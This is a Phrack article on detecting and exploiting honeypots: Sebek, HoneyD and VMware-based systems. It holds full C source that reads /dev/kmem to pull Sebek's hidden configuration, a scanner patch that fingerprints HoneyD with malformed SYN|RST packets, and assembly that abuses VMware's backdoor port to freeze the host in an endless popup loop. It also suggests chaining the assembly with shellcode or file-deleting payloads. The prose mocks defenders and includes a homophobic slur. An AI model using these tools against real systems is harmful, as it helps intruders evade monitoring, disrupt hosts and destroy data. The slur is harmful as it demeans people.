==Phrack Inc.== Volume 0x0b, Issue 0x3f, Phile #0x09 of 0x0f |=----------------=[ Advanced Honey Pot Identification ]=---------------=| |=-----------------------=[ And Exploitation ]=------------------------=| |=----------------------------------------------------------------------=| |=------------------------=[ Joseph Corey ]=-------------------------=| "Listen to Me! I'm Lance Spitzner and I have CIA Funding!" - Lance Spitzner, Mexico G-Con 2003 (Drunk on Tequila) 1 - Forward 2 - Sebek 2 2.1 - sebek_rape.c 3 - Remote HoneyD Viewing 3.1 - paketto-1.10-honeyDetect.patch 4 - Detection of Virtual Honeypots, How Soon We Forget. 4.1 - vmware_detect.s 5 - Encore du Vmware 6 - Conclusion --[ 1. Forward It has been an exciting past three months. Since writing for Phrack 62, I have recieved many emails of support from the fans of AHA (The AntiHoneynet Alliance). The success of the last article has prompted the Phrack Editors to request an update to the work presented in the previous article. Despite an intense class schedule, I hope that I can present you with a enlightening and yet entertaining article on Anti Honeynet Technologies. In the previous article I looked at the underlying flaws which make honeypots an unworkable technology and how it was possible to identify honeypots by the software they were running and looking for abnormalities introduced by the honeypot. This article continues the demonstration of the underlying flawed premises in the Honeynet project by revisiting sebek to demonstrate what can be done once it is detected, How HoneyD can be remotely detected, and presenting a method to detect and disable Virtual HoneyNets that can be combined with any already available public exploit. --[ 2. Sebek 2 Since the release of the first article, sebek has undergone some revisions. None of which have done any good at making sebek a better key logger. Infact, sebek remains as the only keylogger more useless and easy to detect then thc-vlogger 2.1 -- but thats an article for another time. The question most recieved was how can sebek2 be exploited once it is detected? The answer is quite simple -- Sebek server 2.1.3 uses libpcap to capture packets. Now, before we go jumping to arbitrary code execution, there are a couple problems that have to be overcome in order to deliver our packet of christmas cheer. First the destination ip address where the exploit will be targeted must be known. Since the exploit should bypass any ip-layer filtering done by the sebek workstation it will also be necessary to discover the MAC address associated with the Sebek Server's IP While at it, it is usefull to also discover the super sekret magic_value and source port. This can be used to ensure that any other compromised honeypots are unable to sniff the traffic targeting the sebek sever. *ED: Isn't it nice for Edward to make it easier for us not to expose our * exploits by supplying free filtering in the kernel! You almost dont * need a rootkit. Hats off to you Edward. The discovery of this information is seemingly complex or impossible at first glance. On linux, for example, Sebek hides the module symbols by using the EXPORT_NO_SYMBOLS directive to prevent internal symbols from being added to the kernel symbol list. If that were not enough, sebek is commonly removed from the module list by using a cleaning module. Once removed from the module list, sebek will no longer appear in the listing of modules -- any remaining symbols are safely hidden. Or so one would think. Even with the EXPORT_NO_SYMBOLS directive a few sebek symbols are still defined. The symbols are necessary to link the module to the kernel. These necessary symbols are the ELF section definitions. These are visable by grepping /proc/ksyms on linux for "sebek" after the module is loaded. One that is of particular intrest is the symbol "_insmod_sebek.S.data". This symbol marks the beginning of the data section of the sebek binary, where global varables in the module will appear. A few of the more intresting global varables are the destination_ip, destination_mac, source port, and magic_value. It would be easy to find the section definitions if the symbol list were still attached to the linked list of modules. A traversal of the module list looking in the symbol array of each module would quickly reveal the sebek module. But, as I mentioned, sebek provides for the removal of the module informaiton (and the symbol information) from the kernel by using the cleaner module. However, the removal of the module structure from the list only serves to obscure the information. And Everyone knows Security thru Obscurity is shorthand for 0wnage. Instead of a kernel module to discover and extract the symbol informaiton (that would be way to easy), A program is provided that will discover the informaiton by reading from /dev/kmem. The program, when run against a sebek server will display the discovered inforomation. Here's an example of a run on a development box: [root@eeyore sebek-linux-2.1.3]# cat sebek.h --SNIP-- #define BUFLEN 1400 #define SPORT 31337 #define DPORT 6969 #define MAGIC 0x00187350 --SNIP-- # Thats the important part -- the sport, dport, and magic have been set # to sekret values. Next, load sebek. [root@eeyore sebek-linux-2.1.3]# insmod sebek.o # After loading the module, any good honeypot admin will load # the cleaner to hide the module and the module's symbols. [root@eeyore sebek-linux-2.1.3]# insmod cleaner.o [root@eeyore sebek-linux-2.1.3]# lsmod Module Size Used by Tainted: PF cleaner 640 0 (unused) [root@eeyore sebek-linux-2.1.3]# rmmod cleaner [root@eeyore sebek-linux-2.1.3]# lsmod Module Size Used by Tainted: PF [root@eeyore sebek-linux-2.1.3]# cd .. # Now, with sebek loaded.. its hidden.. right? [root@eeyore HoneyPots]# ./sebek_rape Address of __insmod_sebek_S.data is c697b580 Sebek Magic is 187350 Sebek Dest Port is 6969 Sebek Source Port is 31337 Sebek Source IP is 0 Sebek Dest IP is 0 Sebek Eth Src is 0: 0: 0: 0: 0: 0 Sebek Eth Dest is 0: 0: 0: 0: 0: 0 Additional development at this point could include disabling sebek by modifying the values so that the sebek server would no longer pick up the sebek log traffic. But, "That is left as an exercise for the reader." The source for sebek_rape.c is included below: ----[ 2.1 sebek_rape.c /*-----------------------------sebek_rape.c------------------------------*/ #include #include #include #include #include #define FALSE 1 #define TRUE 0 #define NEGATIVE_ONE -1; #define SEARCH_BUFFER (2048) #define BAD_STRING "%s" #define KMEM "/dev/kmem" #define LOW_KMEM 0xC0000000 #define MAX_STRLEN 64 #define MAGIC_SYMBOL "__insmod_sebek_S.data" #define OFFSET_MAGIC 0 #define OFFSET_DPORT 4 #define OFFSET_SPORT 6 #define OFFSET_SRC_IP 0x14c #define OFFSET_DST_IP 0x148 #define OFFSET_ETH_SRC 0x182 #define OFFSET_ETH_DST 0x17c int kfd = NEGATIVE_ONE; void bad (char *str) { fprintf (stderr, BAD_STRING, str); exit (1); } int o_k (void) { kfd = open (KMEM, O_RDWR); } int c_k (void) { close (kfd); } int rfk (unsigned int address, unsigned int bytes, char *buffer) { if (lseek (kfd, address, SEEK_SET) != address) return -1; if (read (kfd, buffer, bytes) != bytes) return -1; return bytes; } unsigned int scnbuf (unsigned char **pptr, char *pattern, unsigned int length) { unsigned char *ptr; unsigned int pattern_len; unsigned char *location; if (pptr == NULL || *pptr == NULL || pattern == NULL || *pattern == '\0' || length == 0) return 0; pattern_len = strlen (pattern); ptr = *pptr; location = (char *) memmem (ptr, length, pattern, pattern_len); *pptr = location; if (location == NULL) return 0; else return 1; } unsigned int ciksym (unsigned int occ_in_kmem) { unsigned int *buf; unsigned int pos; unsigned int numbytes; buf = (unsigned int *) malloc (SEARCH_BUFFER + sizeof (unsigned int)); for (pos = LOW_KMEM; FALSE; pos += SEARCH_BUFFER) { int index; unsigned int **occ; occ = (unsigned int **) malloc (sizeof (void *)); if (!occ) bad ("Unable to allocate memory.\n"); bzero (buf, SEARCH_BUFFER + sizeof (unsigned int)); if ((numbytes = rfk (pos, SEARCH_BUFFER + 4, (unsigned char *) buf) < 0)) break; *occ = buf; for (index = 0; index < (SEARCH_BUFFER / sizeof (unsigned int)); index++) { if (buf[index] == occ_in_kmem) { unsigned int offib; unsigned int value; unsigned int value2; offib = (unsigned int) &buf[index] - (unsigned int) buf; rfk ((pos + offib - 4), 4, (unsigned char *) &value); if (value > 0xC0000000) { free (buf); return value; } } } } free (buf); return 0; } unsigned int ksf (char *symnam) { unsigned char *buf; unsigned int pos; unsigned int numbytes; unsigned int ksa; unsigned int lsf = 0; if (strlen (symnam) > MAX_STRLEN) return 0; buf = (char *) malloc (SEARCH_BUFFER + MAX_STRLEN); if (!buf) return 0; for (pos = LOW_KMEM; FALSE; pos += SEARCH_BUFFER) { unsigned char **occ; occ = (unsigned char **) malloc (sizeof (void *)); if (!occ) bad ("Unable to allocate memory.\n"); bzero (buf, SEARCH_BUFFER + MAX_STRLEN); if ((numbytes = rfk (pos, SEARCH_BUFFER + MAX_STRLEN, buf) < 0)) break; *occ = buf; sag: if (scnbuf (occ, symnam, MAX_STRLEN + SEARCH_BUFFER - ((unsigned int) *occ - (unsigned int) buf))) { unsigned int offb; offb = (unsigned int) *occ - (unsigned int) buf; ksa = ciksym ((pos + offb)); (*occ)++; if (ksa) { free (buf); lsf = ksa; } goto sag; } } if (lsf) return lsf; else return 0; } unsigned int baalsds = 0; int main () { unsigned int addr; unsigned int dword; unsigned short word; unsigned char eth[6]; if (!o_k ()) bad ("unable to open kmem for reading.\n"); baalsds = ksf (MAGIC_SYMBOL); if (baalsds < 0xC0000000) bad ("Cant find Symbol\n"); printf ("Address of %s is %x\n", MAGIC_SYMBOL, baalsds); rfk (baalsds + OFFSET_MAGIC, 4, (unsigned char *) &dword); printf ("Sebek Magic is %lx\n", dword); rfk (baalsds + OFFSET_DPORT, 2, (unsigned char *) &word); printf ("Sebek Dest Port is %d\n", word); rfk (baalsds + OFFSET_SPORT, 2, (unsigned char *) &word); printf ("Sebek Source Port is %d\n", word); rfk (baalsds + OFFSET_SRC_IP, 4, (unsigned char *) &dword); printf ("Sebek Source IP is %x\n", dword); rfk (baalsds + OFFSET_DST_IP, 4, (unsigned char *) &dword); printf ("Sebek Dest IP is %x\n", dword); for (word = 0; word < 6; word++) rfk (baalsds + OFFSET_ETH_SRC + word, 1, eth + word); printf ("Sebek Eth Src is %2x:%2x:%2x:%2x:%2x:%2x\n", eth[0], eth[1], eth[2], eth[3], eth[4], eth[5]); for (word = 0; word < 6; word++) rfk (baalsds + OFFSET_ETH_DST + word, 1, eth + word); printf ("Sebek Eth Dest is %2x:%2x:%2x:%2x:%2x:%2x\n", eth[0], eth[1], eth[2], eth[3], eth[4], eth[5]); return 0; } /*-----------------------------sebek_rape.c------------------------------*/ Now, having this information it can be fed into a libpcap 0.81 exploit modified to work against the sebek server, phcebek. If successful, the shellcode will open a listening and spawn a shell in response to each incoming connection. *ED: It is with deep regret that we have had to retract the phcebek * tool out of the * article because we can not support the * publication of vulnerability information despite it affecting * honeypots. We apologize for this inconvenience, but wish * to assure you, the reader, that it was totally awesome. Looking forward, I would expect the Honeynet project to quickly address this vulnerability by attempting to destroy the symbol string or even the whole symbol array attached to the module structure before it is removed from the module list. This is a very logical approach. It is also very ineffective. Instead of extracting the symbols from the left-over symbol list, the values necessary to deliver the exploit could be extracted from the running system using many other techniques, such as extracting the varables from the af_packet interface, or the trasmit function called from within the bogus sys_read. --[ 3. Remote HoneyD Viewing In Phrack 62, a article was published in the Linenoise section listing the IP addresses of Niels' HoneyD systems. Recently a major new update was published for HoneyD. This update fixed none of the security problems with the previous version, but succeeded in introducing even more vulnerabilities. However, before it is possible to exploit a HoneyD system you must know where a HoneyD system is located. Finding a HoneyD system would seem to be difficult -- HoneyD is intended to be invisible and to skillfully emmulate a network of 'real' machines in order to provide fodder for poorly written papers on the detection of spam, worms, or evil hackers. The concepts arround detecting HoneyD are very complex, so I will attempt to explain them in such a way that a CISSP can understand. What is necessary is an unexpected network condition that will cause HoneyD to respond to a remote system in a way that would indicate that the box is a HoneyD system. This is called a Fingerprint. The act of finding a Fingerprint for a system such as HoneyD is called Fingerprinting. Fingerprinting is a complex process where a Security Researcher throws random garbage network packets at a system hoping to cause it to respond in a way or at a time that it should not respond. Our crack team of "Security Researchers" found that a BAD syn packet could cause HoneyD to respond when it should not respond. This is a Fingerprint. A Syn packet is a network packet that is sent from one computer, lets call it Ralphie, to another computer, Shep, when Ralphie wants to talk to Shep over "TCP/IP". This is called "Opening a Connection". The Syn packet is a Syn packet because the syn bit is set in the tcp flags. When the connection is over either Ralphie or Shep will send a FIN or a RST packet. FIN and RST packets end connections. If you try to "Open a Connection" then you are not trying to "Close a Connection". If you see a packet that says "Open a Connection" and "Close a Connection" then it is a "Bad Packet". Computers should not respond to these Bad Packets unless they are HP Laserjet Printers. HoneyD is not a HP Laserjet Printer. HoneyD should not respond to these "Bad Packets". HoneyD responds to these "Bad Packets". This is Bad. It is Good that HoneyD is Bad. Because HoneyD is bad it is possible to remotely sense the presence of a HoneyD system. To scan for Bad HoneyD systems a modified version of scanrand was developed in Anti Honeynet Alliance members. To demonstrate a network containing one real machine and a HoneyD honeypot was set up. The hosts 10.1.2.202 and 10.1.2.203 are Virtual HoneyD systems. 10.1.2.1 is a real system. All three systems are running sshd on port 22 and 10.1.2.202 is running telnet (the host is a cisco router): ------------------------------------------------------------------------------- [root@piglett src]# telnet 10.1.2.202 Trying 10.1.2.202... Connected to 10.1.2.202. Escape character is '^]'. Users (authorized or unauthorized) have no explicit or implicit expectation of privacy. Any or all uses of this system may be intercepted, monitored, recorded, copied, audited, inspected, and disclosed to authorized site, and law enforcement personnel, as well as to authorized officials of other agencies, both domestic and foreign. By using this system, the user consents to such interception, monitoring, recording, copying, auditing, inspection, and disclosure at the discretion of authorized site. Unauthorized or improper use of this system may result in administrative disciplinary action and civil and criminal penalties. By continuing to use this system you indicate your awareness of and consent to these terms and conditions of use. LOG OFF IMMEDIATELY if you do not agree to the conditions stated in this warning. User Access Verification Username: telnet> quit Connection closed. [root@piglett src]# telnet 10.1.2.202 22 Trying 10.1.2.203... Connected to 10.1.2.203. Escape character is '^]'. SSH-1.5-2.40 ^] telnet> quit Connection closed. [root@piglett src]# telnet 10.1.2.204 22 Trying 10.1.2.1... Connected to 10.1.2.1. Escape character is '^]'. SSH-2.0-OpenSSH_3.4p1 Debian 1:3.4p1-1.woody.3 Protocol mismatch. Connection closed by foreign host. ------------------------------------------------------------------------------- To detect the HoneyD system we only need run the modified scanrand binary using normal syntax. It will list HoneyD systems it finds during the scan: ------------------------------------------------------------------------------- [root@piglett src]# ls -l scanrand -rwxr-xr-x 1 jcorey jcorey 782304 Dec 7 12:10 scanrand [root@piglett src]# ./scanrand --help scanrand 1.10: Stateless TCP Scanner w/ Inverse SYN Cookies(HMAC-SHA1/32 in SEQ) Component of: Paketto Keiretsu 1.10; Dan Kaminsky (dan@doxpara.com) Example: scanrand -b10M 10.0.1.1-254:80,20-25,139 Def. Ports: Use [quick/squick/known/all] instead of explicitly naming ports Options: -S/-L: Only send requests / Only listen for responses -e/-E: Show negative responses / Only show negative responses -t [timeout]: Wait n full seconds for the last response (10s) -b[bandwidth]: Limit bandwidth consumption to n b/k/m/g bytes(0) (0 supresses timeouts or maximizes bw utilization) -N/-NN : Enable name resolution (Prefer Source/Dest) -v : Mark packets being sent, as well as received -vv : Output full packet traces to stderr Addressing: -d [device]: Send requests from this L2 hardware device -i [source]: Send requests from this L3 IP address -p [ port]: Send requests from this L4 TCP Port -s [ seed]: Use prespecified seed for scan verification -f [ file]: Read list of targets from file Experiments: -l [ttl-ttl]: Statelessly TCP Traceroute -D : Distco (Distance Discover) via forced RSTs -c : Try checking Inverse SYN Cookie on Traceroute Notes: Use Control-C to exit before scanrand times out. Be sure to use a longer timeout for slow scans! [n]: estimated network distance from target host. Be careful about available bandwidth -- use -b! [root@piglett src]# ./scanrand -b10k 10.1.2.1-255:23-22 HoneyD Found @: 10.1.2.202:22 [01] 8.123s HoneyD Found @: 10.1.2.202:23 [01] 8.147s HoneyD Found @: 10.1.2.203:22 [01] 8.172s HoneyD Found @: 10.1.2.203:23 [01] 8.187s ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HoneyD is Found. ------------------------------------------------------------------------------- The HoneyD version used in this example was 0.7a. The HoneyD system did not notice anything strange in the scan. From the logs it appeared very similar to a regular syn scan: ------------------------------------------------------------------------------- honeyd[230]: Connection request: tcp (10.1.2.40:33254 - 10.1.2.202:22) honeyd[230]: Connection established: tcp (10.1.2.40:33254 - 10.1.2.202:22) <-> scripts/test.sh honeyd[230]: Connection closed: tcp (10.1.2.40:33254 - 10.1.2.202:22) honeyd[230]: Connection request: tcp (10.1.2.40:14619 - 10.1.2.202:22) honeyd[230]: Connection dropped by reset: tcp (10.1.2.40:14619 - 10.1.2.202:22) honeyd[230]: Connection request: tcp (10.1.2.40:14619 - 10.1.2.202:23) honeyd[230]: Connection dropped by reset: tcp (10.1.2.40:14619 - 10.1.2.202:23) honeyd[230]: Connection request: tcp (10.1.2.40:14619 - 10.1.2.203:22) honeyd[230]: Connection request: tcp (10.1.2.40:14619 - 10.1.2.203:23) honeyd[230]: Connection dropped by reset: tcp (10.1.2.40:14619 - 10.1.2.203:23) honeyd[230]: Expiring TCP (10.1.2.40:14619 - 10.1.2.203:22) (0x810eb58) in state 3 honeyd[230]: Expiring OS fingerprint for 10.1.2.40 Once detected, it is then trival to execute arbitrary code on the remote system running HoneyD. Because HoneyD must talk to the network using privileged networking sockets such as RAW, it is certain to be running as root. ----[ 3.1 paketto-1.10-honeyDetect.patch * * ED: Heh, a Security Tool used to detect hackers being used as the * entry point. Undoubtedly anyone running Honeynetworking tools * doesnt worry about being compromised because they run snort. * The patch against paketto-1.10: /*---------------------paketto-1.10-honeyDetect.patch----------------------*/ diff -r -c paketto-1.10/src/scanrand.c paketto-1.10-honeyd/src/scanrand.c *** paketto-1.10/src/scanrand.c 2002-12-24 11:11:36.000000000 -0500 --- paketto-1.10-honeyd/src/scanrand.c 2003-12-07 12:10:53.000000000 -0500 *************** *** 301,313 **** else fprintf(stdout, "(%16.16s -> %-16.16s)\n", buf+16, buf+32); } } else if(x.icmp->icmp_type == ICMP_UNREACH) { ! if(ic.ip->ip_p == IPPROTO_TCP && /* no TCP flags in ICMP's TCP chunklet */ (!check_icmp_seq || ic.tcp->th_seq == bake_syncookie((u_char *)ic.ip, seed))) { timeval_subtract(&diff, &pkthdr.ts, &start); ! gettimeofday(&then, NULL); /* just for the loop maintenance */ snprintf(buf2, sizeof(buf2), "un%2.2i", x.icmp->icmp_code); snprintf(buf + 0, 16, inet_ntoa(x.ip->ip_src)); snprintf(buf +16, 16, inet_ntoa(ic.ip->ip_src)); --- 301,314 ---- else fprintf(stdout, "(%16.16s -> %-16.16s)\n", buf+16, buf+32); } } + /* else if(x.icmp->icmp_type == ICMP_UNREACH) { ! if(ic.ip->ip_p == IPPROTO_TCP && // no TCP flags in ICMP's TCP chunklet // (!check_icmp_seq || ic.tcp->th_seq == bake_syncookie((u_char *)ic.ip, seed))) { timeval_subtract(&diff, &pkthdr.ts, &start); ! gettimeofday(&then, NULL); // just for the loop maintenance // snprintf(buf2, sizeof(buf2), "un%2.2i", x.icmp->icmp_code); snprintf(buf + 0, 16, inet_ntoa(x.ip->ip_src)); snprintf(buf +16, 16, inet_ntoa(ic.ip->ip_src)); *************** *** 323,328 **** --- 324,330 ---- else fprintf(stdout, "(%16.16s -> %-16.16s)\n", buf+16, buf); } } + */ } /* Accept SYN|ACKs and RST|ACKs */ *************** *** 342,350 **** bzero(buf, sizeof(buf)); bzero(buf2, sizeof(buf2)); timeval_subtract(&diff, &now, &start); ! if(x.tcp->th_flags == (TH_SYN | TH_ACK) && show_accepted) snprintf(buf2, sizeof(buf2), " UP"); /* merry christmas */ ! if(x.tcp->th_flags == (TH_RST | TH_ACK) && show_rejected) snprintf(buf2, sizeof(buf2), "DOWN"); /* happy holidays */ ! if(x.tcp->th_flags == (TH_RST ) ) snprintf(buf2, sizeof(buf2), "DSCO"); /* santa got his ass handed to him */ if((int)buf2[0]) /* :-P */ { fprintf(stdout, "%s: %16.16s:%-5i [%2.2hu]", buf2, inet_ntoa(x.ip->ip_src), ntohs(x.tcp->th_sport), estimate_hopcount(x.ip->ip_ttl)); --- 344,350 ---- bzero(buf, sizeof(buf)); bzero(buf2, sizeof(buf2)); timeval_subtract(&diff, &now, &start); ! if(x.tcp->th_flags == (TH_SYN | TH_ACK) && show_accepted) snprintf(buf2, sizeof(buf2), " HoneyD Found @"); /* merry christmas */ if((int)buf2[0]) /* :-P */ { fprintf(stdout, "%s: %16.16s:%-5i [%2.2hu]", buf2, inet_ntoa(x.ip->ip_src), ntohs(x.tcp->th_sport), estimate_hopcount(x.ip->ip_ttl)); diff -r -c paketto-1.10/src/scanutil.c paketto-1.10-honeyd/src/scanutil.c *** paketto-1.10/src/scanutil.c 2002-12-24 10:46:10.000000000 -0500 --- paketto-1.10-honeyd/src/scanutil.c 2003-12-07 12:05:51.000000000 -0500 *************** *** 282,288 **** 139, // dest port 420, // seq 0, // ack ! TH_SYN, // flags 4096, // win 0, // urgp NULL, // tcp payload --- 282,288 ---- 139, // dest port 420, // seq 0, // ack ! TH_SYN | TH_RST , // flags 4096, // win 0, // urgp NULL, // tcp payload /*---------------------paketto-1.10-honeyDetect.patch----------------------*/ FOOTNOTE: Dan Kaminsky is also a whitehat fag; I only used this tool because I didn't feel like writing something from scratch. --[ 4. Detection of Virtual Honeypots, How Soon We Forget. Virtual honeypots are a popular option among security 'researchers' wishing to setup honeypots. They offer a multitude of benefits, none of which are worth talking about. In all situations a Virtual host is setup and deployed. The Virtulization software of choice by Honeynet members is VMWARE. This is the best tool to use for setting up Virtual Honeypots because they give free licenses to people who pump their product. Highly learned people such as high school graduates and CISSPs will tell you that VMWare, with the exception of the host's MAC address on its network interfaces, is undetectable and that anything a hacker could do would work just as well on a VMWare host as it would on a system "running under its own power". This would truly be nice if it were not also absolutely incorrect. In november of 2002, Andrew Hintz published a tool he developed along with Aaron Walters that would detect vmware by attempting a IO operation on a backdoor port on the VMWare host that is used by vmware-tools on the guest system to communicate with the VMWare process. The backdoor IO port is described in detail at http://chitchat.at.infoseek.co.jp/vmware/vmtools.html. The backdoor port will allow a process running at ring 3 to initiate various vmware actions such as adding hardware, removing hardware, initiating dialog with the GUI interface on the host system, moving data into and out of the host systems clipboard, and modifying preference settings (such as using the hgfs on vmware 4). By using the backdoor port, a malicious or bad hacker could cause arbitrary code to execute on the host computer or modify any using the security credentials of the user running vmware in the host computer. Commands are sent to the backdoor port by requesting input or output via the 5658h port and putting the VMWARE magic number of 564d5868 or "VMXh" in the EAX register. The command to be executed is loaded into ECX and any arguments to the command are passed in via EBX. A list of the commands to the VMWARE backdoor and the arguments to those commands are available from the website refrenced above. If a call to the VMWARE port is made on a non-vmware system, then a segfault will result. By checking for a segfault while issuing a vmware command, it is possible to determine if you are executing on a vmware host, and then react accordingly. Below is a demonstration of how the VMware backdoor port could be used for some clean, safe fun by a malicous attacker. ----[ 4.1 vmware_detect.s /*-----------------------------vmware_detect.s------------------------------*/ .globl __safe .type __safe, @function __safe: /** ** Insert code or callout to a function containing code that ** should only be executed when not on a honeypot. **/ ret .size __safe, .-__safe .globl __hsegv .type __hsegv, @function __hsegv: subl $12, %esp call __safe subl $12, %esp pushl $0 call exit .size __hsegv, .-__hsegv .globl __vmwtst .type __vmwtst, @function __vmwtst: subl $12, %esp subl $8, %esp pushl $__hsegv pushl $11 call signal addl $16, %esp /** If it is a VMWARE system, leave a calling card. This ** will freeze the VMWARE system until the operator clicks OK. ** Honeypot people love this. **/ .VMWAREROX: movl $0x564D5868, %eax /** Alternatively, the port may have been moved ** by using the pro-terrorist, white-flagger ** french patch. The proper port for them is ** 0x48506f74 ** ** movl $0x48506f74, %ebx ** ** It is possible to call a new .VMWAREROXFROGS with ** the french number from within the signal handler, ** but be carefull ;). **/ movl $0x3c6cf712, %ebx movl $0x0000000C, %ecx movl $0x5658, %edx; in %dx, %eax; jmp .VMWAREROX /** ** Insert Code at this point that should be executed if you _MAY_ ** be on a honeypot. Such fun things as using various inventive ** rm'ing shellcode is one possibility. You will need to delete ** the previous line or this code will not be reached. **/ subl $12, %esp pushl $-1 call exit .size __vmwtst, .-__vmwtst /*-----------------------------vmware_detect.s------------------------------*/ The above code will check to see if the host is a vmware host. If the host is a vmware host it will freeze the host by bringing up a pop-up screen on the Host computers console. If the host is a GSX host the pop-up will be defered until a vmware-console is attached. In either case the VMWare session will freeze untill the pop-up screen is acknowledged. After the pop-up is acknowledged, the code will loop and bring up another one. The fun never stops. If vmware_detect were to be included in the shellcode delivered during the exploitation of a vulnerable service, the ELF headers would need to be removed. A JMP into the normal shellcode (to spawn a shell or whatever) should be placed into the signal handler above. It will also be necessary to identify the current position in memory where the shellcode would be executing using various tricks such as calling forward a predictable number of bytes. This will be left as an exercise up to the reader. --[ 5. Encore du Vmware Recently, Kostyra Kortchinsky, a member of the French honeynet, published a tool intended to conceal the obvious ways to locally fingerprint VMware system. The tool modifies the names of IDE and SCSI devices, the Video adapter, and changes the IO number of the back door port previously discussed. This tool represents significant time and effort put forth by Kostyra in his failed attempt to to address a burning issue for all Honeynet projects -- that its painfully obvious to the most brain-dead hacker that they are being monitored. As you will see this tool does nothing other then obscure the fact that the host is a VMware system. Once running with root or administrator privileges, it is trivial to determine that the hardware is emulated by VMware. If Kostyra's tool to obscure the presence of VMware hardware is used, and we detect the presence of real VMware hardware, we can be certain that the host is a honeypot -- and we know we can safely have fun at their expense. IDE Drives The first methods of detecting VMware hardware even with Kostyra's modifications is to look at the IDE CD-Rom or Hard drive on the system. To do this, we can use hdparm with the -I argument: [root@localhost]# hdparm -I /dev/hda /dev/hda: ATAPI CD-ROM, with removable media Model Number: VMware Virtual IDE CDROM Drive Serial Number: 00000000000000000001 Firmware Revision: 00000001 Standards: Likely used CD-ROM ATAPI-1 Configuration: DRQ response: 50us. Packet size: 12 bytes Capabilities: LBA, IORDY(can be disabled) Buffer size: 32.0kB DMA: sdma0 sdma1 sdma2 mdma0 mdma1 mdma2 udma0 *udma1 udma2 Cycle time: min=120ns recommended=120ns PIO: pio0 pio1 pio2 pio3 pio4 Cycle time: no flow control=120ns IORDY flow control=120ns Commands/features: Enabled Supported: * NOP cmd * DEVICE RESET cmd * PACKET command feature set * Power Management feature set Now, go look at the output on a regular cdrom drive running on your system. Lets go over the differences. ATAPI CD-ROM, with removable media Model Number: VMware Virtual IDE CDROM Drive Serial Number: 00000000000000000001 Firmware Revision: 00000001 These are dead give-aways. They can also be modified. While it is surprising that the French Honeynet project utterly failed to notice this, it should be expected that this oversight will be corrected. Standards: Likely used CD-ROM ATAPI-1 This is more telling. Look at your cdrom. VMware does give sufficient information in the device's identity. Since before I ever logged on to the Internet, before the days of the Pentium Pro, drives were using ATAPI-2. The reason hdparm lists the standards as "Likely used CD-ROM ATAPI-1" is because VMware does not return any determining information -- hdparm is left guessing. This is a limitation of the program code, and more telling then the Serial number or Firmware revision. Commands/features: Enabled Supported: * NOP cmd * DEVICE RESET cmd * PACKET command feature set * Power Management feature set This portion of hdparm's output is the most telling. Normally this would not be present. CD-Roms conform to the ATAPI CDROM standards. Features and commands are something that hard drives should report -- not IDE CdRoms. These are not the only differences between a VMware drive and a normal drive, but we do not want to give away all our tricks just yet. I expect that Honeynet members will try to address this by modifying hdparm on the honeypot systems. If they are ultra-sharp they may even try to patch the ioctl system call, which hdparm uses to query the IDE devices. Even in such case, it is trivial to implement a kernel module or device driver that gives a clean interface to the lower-level functions used by the ioctl to query the drives information. Similar leaked information and deviations from 'real' hardware are present for SCSI devices, but thats for another day. VMware Backdoor Port Redux As previously mentioned, Kostyra's program also modifies the vmware port magic number. If the backdoor port code is run with the wrong magic number then the call to "in" will generate a segfault, making the system appear to be a non-vmware host. However, this does not remove the presence of the port itself -- it only hides it. If one were to discover the port, the program would continue as expected. What Kostyra is counting on is that no one, not even Phrack labs, would dare to build a program that would increment the magic number until the correct one is found, resetting the SEGV handler each time. But thats for another day. --[ 6. Conclusion Once again it has been demonstrated how honeynet technologies fail to deliver on their promise of secertly tracking hackers in order to help the honeypot deployer better know his enemy. Everything in this article is possible only because the honeynet project makes it possible by relying on open discourse to develop and publish their honeypot strategies and tactics. When a hacker compromises a system they are on a tactically equal footing with the honeypot software. The only superiority that the honeypot software has is wholely in the strategy of honeypot deployment -- in deceiving the attacker of the honeypot's presence. Without this strategic advantage honeypot software is useless. Because attackers know the strategies of honeypot software they are also able to prepare counter- stratagies like this paper has presented. |=[ EOF ]=---------------------------------------------------------------=|